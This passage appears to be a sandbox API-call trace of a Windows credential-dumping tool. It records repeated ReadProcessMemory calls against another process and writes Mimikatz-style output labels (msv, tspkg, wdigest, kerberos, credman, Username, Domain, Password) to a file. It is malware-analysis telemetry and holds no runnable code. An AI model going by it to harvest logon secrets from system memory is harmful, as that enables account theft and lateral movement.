lpMultiByteStr="\r\n\x09 * Username : xduwtfono$\r\n\x09 * Domain : WORKGROUP\r\n\x09 * Password : assword : @ë\x10", lpUsedDefaultChar=0x0) returned 70 [0196.147] WriteFile (in: hFile=0x720, lpBuffer=0x10e930*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x10e270, lpOverlapped=0x0 | out: lpBuffer=0x10e930*, lpNumberOfBytesWritten=0x10e270*=0x46, lpOverlapped=0x0) returned 1 [0196.147] GetLastError () returned 0x0 [0196.147] SetLastError (dwErrCode=0x0) [0196.147] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="(null)Username : xduwtfono$\r\n\x09 * Domain : WORKGROUP\r\n\x09 * Password : ", cchWideChar=6, lpMultiByteStr=0x10e930, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(null)Username : xduwtfono$\r\n\x09 * Domain : WORKGROUP\r\n\x09 * Password : assword : @ë\x10", lpUsedDefaultChar=0x0) returned 6 [0196.147] WriteFile (in: hFile=0x720, lpBuffer=0x10e930*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x10e270, lpOverlapped=0x0 | out: lpBuffer=0x10e930*, lpNumberOfBytesWritten=0x10e270*=0x6, lpOverlapped=0x0) returned 1 [0196.148] LocalFree (hMem=0x16bbe0) returned 0x0 [0196.148] LocalFree (hMem=0x16bbc0) returned 0x0 [0196.148] LocalFree (hMem=0x16bc00) returned 0x0 [0196.148] LocalFree (hMem=0x181de0) returned 0x0 [0196.148] GetLastError () returned 0x0 [0196.148] SetLastError (dwErrCode=0x0) [0196.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nerberos :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nerberos :\x09", lpUsedDefaultChar=0x0) returned 2 [0196.148] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.148] GetLastError () returned 0x0 [0196.148] SetLastError (dwErrCode=0x0) [0196.148] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09ssp :\x09os :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=7, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09ssp :\x09os :\x09", lpUsedDefaultChar=0x0) returned 7 [0196.148] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x7, lpOverlapped=0x0) returned 1 [0196.148] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd2178d0, lpBuffer=0x10fa20, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.148] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7c70, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.149] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d8080, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.149] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7d40, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.149] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7ba0, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.149] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7860, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.149] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d72b0, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.149] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7040, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.149] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1c4370, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.149] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a4110, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.149] GetLastError () returned 0x0 [0196.149] SetLastError (dwErrCode=0x0) [0196.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nsp :\x09os :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nsp :\x09os :\x09", lpUsedDefaultChar=0x0) returned 2 [0196.149] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.150] GetLastError () returned 0x0 [0196.150] SetLastError (dwErrCode=0x0) [0196.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09credman :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=11, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09credman :\x09\x09", lpUsedDefaultChar=0x0) returned 11 [0196.150] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0xb, lpOverlapped=0x0) returned 1 [0196.150] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1609a0, lpBuffer=0x10fa40, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa40*, lpNumberOfBytesRead=0x0) returned 1 [0196.150] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1bbb10, lpBuffer=0x10fa00, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa00*, lpNumberOfBytesRead=0x0) returned 1 [0196.150] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x181de0 [0196.150] LocalFree (hMem=0x181de0) returned 0x0 [0196.150] GetLastError () returned 0x0 [0196.150] SetLastError (dwErrCode=0x0) [0196.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nredman :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nredman :\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.150] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.151] LocalFree (hMem=0x16bb60) returned 0x0 [0196.151] LocalFree (hMem=0x16bb80) returned 0x0 [0196.151] LocalFree (hMem=0x16bba0) returned 0x0 [0196.151] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x16f590, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0196.151] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1, lpBuffer=0x10fac0, nSize=0x1, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fac0, lpNumberOfBytesRead=0x0) returned 0 [0196.151] GetLastError () returned 0x12b [0196.151] SetLastError (dwErrCode=0x12b) [0196.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09msv :\x09n :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=7, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09msv :\x09n :\x09\x09", lpUsedDefaultChar=0x0) returned 7 [0196.152] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x7, lpOverlapped=0x0) returned 1 [0196.152] GetLastError () returned 0x12b [0196.152] SetLastError (dwErrCode=0x12b) [0196.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nsv :\x09n :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nsv :\x09n :\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.152] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.152] GetLastError () returned 0x12b [0196.152] SetLastError (dwErrCode=0x12b) [0196.152] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09tspkg :\x09:\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=9, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09tspkg :\x09:\x09\x09", lpUsedDefaultChar=0x0) returned 9 [0196.152] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x9, lpOverlapped=0x0) returned 1 [0196.152] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefcf94b00, lpBuffer=0x10f960, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f960*, lpNumberOfBytesRead=0x0) returned 1 [0196.152] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a6000, lpBuffer=0x10f8b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f8b0*, lpNumberOfBytesRead=0x0) returned 1 [0196.153] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x160a40 [0196.153] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1cc110, lpBuffer=0x160a40, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x160a40*, lpNumberOfBytesRead=0x0) returned 1 [0196.153] LocalFree (hMem=0x160a40) returned 0x0 [0196.153] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a60a0, lpBuffer=0x10f800, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f800*, lpNumberOfBytesRead=0x0) returned 1 [0196.153] LocalAlloc (uFlags=0x40, uBytes=0x74) returned 0x160a40 [0196.153] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d6050, lpBuffer=0x160a40, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x160a40*, lpNumberOfBytesRead=0x0) returned 1 [0196.153] LocalFree (hMem=0x160a40) returned 0x0 [0196.153] GetLastError () returned 0x12b [0196.153] SetLastError (dwErrCode=0x12b) [0196.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nspkg :\x09:\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nspkg :\x09:\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.153] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.153] GetLastError () returned 0x12b [0196.153] SetLastError (dwErrCode=0x12b) [0196.153] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09wdigest :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=11, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09wdigest :\x09\x09", lpUsedDefaultChar=0x0) returned 11 [0196.154] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0xb, lpOverlapped=0x0) returned 1 [0196.154] LocalAlloc (uFlags=0x40, uBytes=0x28) returned 0x18e030 [0196.154] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd0212c0, lpBuffer=0x10fa38, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa38*, lpNumberOfBytesRead=0x0) returned 1 [0196.154] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x187300, lpBuffer=0x18e030, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e030*, lpNumberOfBytesRead=0x0) returned 1 [0196.154] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x187150, lpBuffer=0x18e030, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e030*, lpNumberOfBytesRead=0x0) returned 1 [0196.154] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x186e80, lpBuffer=0x18e030, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e030*, lpNumberOfBytesRead=0x0) returned 1 [0196.154] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1b0c60, lpBuffer=0x18e030, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e030*, lpNumberOfBytesRead=0x0) returned 1 [0196.154] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1808f0, lpBuffer=0x18e030, nSize=0x28, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x18e030*, lpNumberOfBytesRead=0x0) returned 1 [0196.154] LocalFree (hMem=0x18e030) returned 0x0 [0196.154] GetLastError () returned 0x12b [0196.154] SetLastError (dwErrCode=0x12b) [0196.154] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\ndigest :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\ndigest :\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.155] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.155] GetLastError () returned 0x12b [0196.155] SetLastError (dwErrCode=0x12b) [0196.155] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09kerberos :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=12, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09kerberos :\x09", lpUsedDefaultChar=0x0) returned 12 [0196.155] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0xc, lpOverlapped=0x0) returned 1 [0196.155] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd362840, lpBuffer=0x10f940, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f940*, lpNumberOfBytesRead=0x0) returned 1 [0196.155] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a4590, lpBuffer=0x10f890, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f890*, lpNumberOfBytesRead=0x0) returned 1 [0196.155] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x164500 [0196.155] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1c9780, lpBuffer=0x164500, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x164500*, lpNumberOfBytesRead=0x0) returned 1 [0196.155] LocalFree (hMem=0x164500) returned 0x0 [0196.155] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a9350, lpBuffer=0x10f7e0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7e0*, lpNumberOfBytesRead=0x0) returned 1 [0196.155] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x164500 [0196.155] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1b6000, lpBuffer=0x164500, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x164500*, lpNumberOfBytesRead=0x0) returned 1 [0196.156] LocalFree (hMem=0x164500) returned 0x0 [0196.156] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d43b0, lpBuffer=0x10f7e0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f7e0*, lpNumberOfBytesRead=0x0) returned 1 [0196.156] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x164500 [0196.156] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e08b0, lpBuffer=0x164500, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x164500*, lpNumberOfBytesRead=0x0) returned 1 [0196.156] LocalFree (hMem=0x164500) returned 0x0 [0196.156] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x176d90, lpBuffer=0x10f730, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f730*, lpNumberOfBytesRead=0x0) returned 1 [0196.156] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x164500 [0196.156] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x183a30, lpBuffer=0x164500, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x164500*, lpNumberOfBytesRead=0x0) returned 1 [0196.156] LocalFree (hMem=0x164500) returned 0x0 [0196.156] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d4530, lpBuffer=0x10f730, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10f730*, lpNumberOfBytesRead=0x0) returned 1 [0196.156] LocalAlloc (uFlags=0x40, uBytes=0x48) returned 0x164500 [0196.156] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1e0ac0, lpBuffer=0x164500, nSize=0x48, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x164500*, lpNumberOfBytesRead=0x0) returned 1 [0196.156] LocalFree (hMem=0x164500) returned 0x0 [0196.156] GetLastError () returned 0x12b [0196.156] SetLastError (dwErrCode=0x12b) [0196.156] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nerberos :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nerberos :\x09", lpUsedDefaultChar=0x0) returned 2 [0196.156] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.157] GetLastError () returned 0x12b [0196.157] SetLastError (dwErrCode=0x12b) [0196.157] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09ssp :\x09os :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=7, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09ssp :\x09os :\x09", lpUsedDefaultChar=0x0) returned 7 [0196.157] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x7, lpOverlapped=0x0) returned 1 [0196.157] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x7fefd2178d0, lpBuffer=0x10fa20, nSize=0x10, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.157] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7c70, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.157] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d8080, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.157] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7d40, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.157] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7ba0, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.157] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7860, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.158] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d72b0, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.158] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1d7040, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.158] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1c4370, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.158] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x1a4110, lpBuffer=0x10fa20, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fa20*, lpNumberOfBytesRead=0x0) returned 1 [0196.158] GetLastError () returned 0x12b [0196.158] SetLastError (dwErrCode=0x12b) [0196.158] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nsp :\x09os :\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nsp :\x09os :\x09", lpUsedDefaultChar=0x0) returned 2 [0196.158] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.158] GetLastError () returned 0x12b [0196.159] SetLastError (dwErrCode=0x12b) [0196.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09credman :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=11, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09credman :\x09\x09", lpUsedDefaultChar=0x0) returned 11 [0196.159] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0xb, lpOverlapped=0x0) returned 1 [0196.159] GetLastError () returned 0x12b [0196.159] SetLastError (dwErrCode=0x12b) [0196.159] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\r\nredman :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=2, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\nredman :\x09\x09", lpUsedDefaultChar=0x0) returned 2 [0196.159] WriteFile (in: hFile=0x720, lpBuffer=0x10eb00*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x10e440, lpOverlapped=0x0 | out: lpBuffer=0x10eb00*, lpNumberOfBytesWritten=0x10e440*=0x2, lpOverlapped=0x0) returned 1 [0196.159] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x15ff40, lpBuffer=0x17d9f0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x17d9f0*, lpNumberOfBytesRead=0x0) returned 1 [0196.159] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x16bba0 [0196.159] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x164460, lpBuffer=0x16bba0, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bba0*, lpNumberOfBytesRead=0x0) returned 1 [0196.159] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x16bb80 [0196.160] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x164480, lpBuffer=0x16bb80, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb80*, lpNumberOfBytesRead=0x0) returned 1 [0196.160] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x15e631, lpBuffer=0x10fac0, nSize=0x1, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x10fac0*, lpNumberOfBytesRead=0x0) returned 1 [0196.160] LocalAlloc (uFlags=0x40, uBytes=0xc) returned 0x16bb60 [0196.160] ReadProcessMemory (in: hProcess=0x140, lpBaseAddress=0x15e630, lpBuffer=0x16bb60, nSize=0xc, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x16bb60*, lpNumberOfBytesRead=0x0) returned 1 [0196.160] GetLastError () returned 0x12b [0196.160] SetLastError (dwErrCode=0x12b) [0196.160] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="\x09msv :\x09n :\x09\x09ᰛꝌ鉩錳䆈⟿㋃?뗟䃟䰙　�߿", cchWideChar=7, lpMultiByteStr=0x10eb00, cbMultiByte=3413, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x09msv :\x09n :\x09\x09", lpUsedDefaultChar=0x0) returned 7 [0196.160] WriteFile 